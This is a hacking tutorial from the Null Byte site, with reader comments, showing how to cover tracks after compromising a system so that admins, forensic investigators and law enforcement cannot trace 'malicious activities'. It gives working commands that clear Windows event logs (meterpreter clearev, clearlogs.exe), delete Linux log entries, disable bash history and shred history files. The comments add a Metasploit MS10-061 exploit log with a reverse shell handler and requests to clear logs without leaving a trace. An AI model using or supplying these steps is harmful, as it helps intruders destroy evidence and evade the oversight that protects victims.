Welcome back, my budding hackers!
Previous to this tutorial, we've focused mostly on hacking the target system. If we're successful in owning the target system, we'll then want to make certain that the system administrator doesn't know we were there, and that he or she cannot track us.
In this guide, I'll show you a few ways that we can cover our tracks, making it VERY difficult for a system admin, forensic investigator, or law enforcement agent to track our malicious activities.
Log files are the most common technique for a system admin to determine what has taken place on their system. Every unsuccessful login, successful login, and security event is logged into the log files. So, the first thing we need to do is to make certain there is no trace of our malicious activities in those log files.
Step 1: Clearing Event Logs with the Meterpreter
In newer versions of Metasploit's meterpreter, there's a script called clearev to clear all event logs. This program will go into the event logs on a Windows system and clear out ALL of the logs. This might look a little suspicious to the vigilant system admin, but most system admins are NOT vigilant.
At the very least, it will remove our connection and/or attempted connection from the log files. Of course, there may be other evidence left behind such as router logs and IDS logs, but we'll deal with those in a future tutorial.
First, use Metasploit to compromise the system and get a meterpreter command prompt.
Once we get a meterpreter on a system, we can simply type:
- meterpreter > clearev
As we can see in this screenshot above, all of the event logs from Application, System, and Security have been cleared from the log files on the victim system.
Step 2: Clearing Event Logs on Windows Machines
Another way to clear the log files on Windows systems is to use the clearlogs.exe file. You can download it from here.
If we have physical access to the system, we can simply install it and then run clearlogs. We can choose to clear the Security, Application, or Security logs. To clear the security logs, type:
- clearlogs.exe -sec
We can then go to the Event Viewer and click on Security events, where we can see that all the security events have been cleared! There is no trace we had been there!
If we have remote access to the system, we can simply upload it to the system with TFTP and then run it on the system.
Don't forget to remove clearlogs.exe before leaving the system as the mere presence of the clearlogs file will be telltale evidence that someone has compromised their system.
Step 3: Clearing Event Logs on Linux Computers
In Linux systems, log files are stored in the /var/log directory. We can open and view that plain text file containing log messages by opening with any text editor (I'm using KWrite in BackTrack).
- kwrite /var/log/messages
Before we leave the compromised system, we'll want to open this file in our favorite text editor and simply delete ALL of the entries, or if we have time, carefully go through and delete any entries related specifically to our compromise of the system.
Step 4: Erasing the Command History
Finally, before we leave the compromised Linux system, we want to make certain that our command history is erased. Remember, the bash shell we're typing in will save our last 500 commands. A system admin could track all of our commands and detect and decipher our activities on the system and potentially use them as evidence.
To see our history, we can use the more command:
- more ~/.bash_history
The size of our history file is determined by the environment variable HISTSIZE. We can check the size of the HISTSIZE variable by typing:
- echo $HISTSIZE
We could then set it to zero by typing:
- export HISTSIZE=0
Now, our shell will not store any of our history! If you remember, change it to zero before beginning the hack and none of your commands will be stored, but if you've already written some commands, remember to log out and log back in to clear your history after setting the HISTSIZE to zero.
Step 5: Shredding the History File
Sometimes we won't have enough time to erase the history file or change the HISTSIZE variable. In a hurry, we can simply shred our history file by typing:
- shred -zu root/.bash_history
The shred command with the -zu switches will overwrite the history with zeros and delete the file.
To check to see if our history has been shredded, we can view the history file by typing:
- more /root/.bashhistory
Stay Tuned for More...
We'll look at more anti-forensics measures we can take to cover our tracks in future Null Byte tutorials, so keep coming back! If you have any questions on this guide, ask away in the comments below. And if you have any questions on unrelated hacking topics, feel free to post them in the Null Byte forum.
Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.
13 Comments
Just Thought to share my experience for n00bs like me:
Pre-installed Metasploit in backtrack 5 R3 cannot be updated. Because they have Stopped SVN updates, msfupdate is of no use. Better To remove that Version from Backtrack and Download latest GUI Installation version from http://www.metasploit.com/ to let metasploit work properly with new features.
Sir I have a got a Question About Data Execution Prevention-DEP. Does it protect computers from being exploited with buffer overflow exploits? Because i have tried smb hack on many PCs but they never opened a session in Metasploit.
Criss:
DEP is designed to prevent buffer overflow on Windows systems, but I doubt that is what is keeping you from getting a session in Metasploit. What systems are you attacking?
OTW
XP SP3 Not Patched, No Anti-Virus Only firewall Enabled. When ever i exploit the system it gives me this message "System Exploited Successfully" But no Session opened :p. There was a Server running windows 2000 SP4 i exploited its Universal Plug and Play vulnerability and it opened a session for me. Next day when again i ttied i got the same message "System Exploited Successfully" But no sessions opened.
Criss:
I suspect in both cases, you were being blocked by a firewall. When you just starting out, make sure the firewall is down.
Also, you don't tell me what exploit you are using or the payload. Not every exploit and payload will work everytime. Mix and match payloads with exploits.
OTW
Sir i used this exploit exploit/windows/smb/ms08_067_netapi but it didn't worked i tired all payloads i tried changing the LPORT too bus didn't work. Then i came across this exploit while searching exploit/windows/smb/ms10_061_spoolss i used it and set all the options as required and run the exploit i got these messages :
* Started reverse handler on 192.168.xxx.xxx:4444
* Trying target Windows Universal...
* Binding to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacnnp:192.168.xxx.xxx\spoolss ...
* Bound to 12345678-1234-abcd-EF00-0123456789ab:1.0@ncacnnp:192.168.xxx.xxx\spoolss ...
* Attempting to exploit MS10-061 via \\192.168.xxx.xxx\Printer2 ...
* Printer handle: 0000000008d3d10d9ff7b044baa16bccb4719313
* Job started: 0x6
* Wrote 73802 bytes to %SystemRoot%\system32\UQ8ViMvkIofRLv.exe
* Job started: 0x7
* Wrote 2221 bytes to %SystemRoot%\system32\wbem\mof\Ukyn9jiJcveeYq.mof
* Attempting to exploit MS10-061 via \\192.168.xxx.xxx\Printer ...
* Printer handle: 0000000027b5369820828e4f96dd3dc507a82e86
* Job started: 0x8
* Wrote 73802 bytes to %SystemRoot%\system32\mlGF7ldxosCcoZ.exe
* Job started: 0x9
* Sending stage (751104 bytes) to 192.168.xxx.xxx
* Wrote 2221 bytes to %SystemRoot%\system32\wbem\mof\md9fcSxNalWVb4.mof
* Everything should be set, waiting for a session...
* Meterpreter session 1 opened (192.168.xxx.xxx:4444 -> 192.168.100.148:4932) at 2013-08-16 09:03:04 -0400
-Exploit failed: deadlock; recursive locking
* Sending stage (751104 bytes) to 192.168.xxx.xxx
* Exploit completed, but no session was created.
msf exploit(ms10061_spoolss) > * Meterpreter session 2 opened (192.168.xxx.xxx:4444 -> 192.168.xxx.xxx:4933) at 2013-08-16 09:03:06 -0400
- Failed to load client script file: /opt/metasploit/apps/pro/msf3/lib/rex/post/meterpreter/ui/console/commanddispatcher/stdapi.rb
It Didn't gave me any sessions
OTW are you going to start using Kali Linux, the new Hacking OS also made by Offensive security? Do you recommend me to update to it or stay with my Backtrack? Does Kali Linux have more hacking software? I am a somewhat noob to hacking but not to Linux, the terminal, etc. I fix computers and am not afraid of a complex GUI or anything like that.
FINILEY:
i have tried Kali i don't see any new software but it have got some new Scripts. And it Doesn't even have Snort. They Made many changes. Better to stay with Backtrack or Bugtraq until we are n00bs to hacking :)
Finley:
Once Offensive Security gets all the bugs out of Kali, I'll probably start using it. For now, I'm staying with BT.
OTW
Okay, I'll stay with BT!
OTW, wouldn't windows also log that a log has been cleared?
It would say something like "The system log has been cleared" with a event ID of 104 and a task category of Log Clear.
Wouldn't this also provide evidence to the system admins that an attacker had purposely cleared logs in an attempt to hide evidence?
And if so,do you know of a method to clear logs without windows logging that a log has been cleared?
Hi,
I am a newbie and
I am investigating how I can use Windows Network Diagnostic tool to gather information about nearby wireless systems. Is this possible and if it is how can I do this.
I'm new in kali linux and hacking world hope I can get some useful information about my question
So if use anonsurf on kali linux and change my mac address and then I open my firefox using proxychains and I visit ip DNS detect website it's shows me web RTC leaks message ?
So even I use anonsurf and proxychains I'm not safe and somebody can see my ip address!!!
How I can fix web RTC vulnerability ? Thx
Share Your Thoughts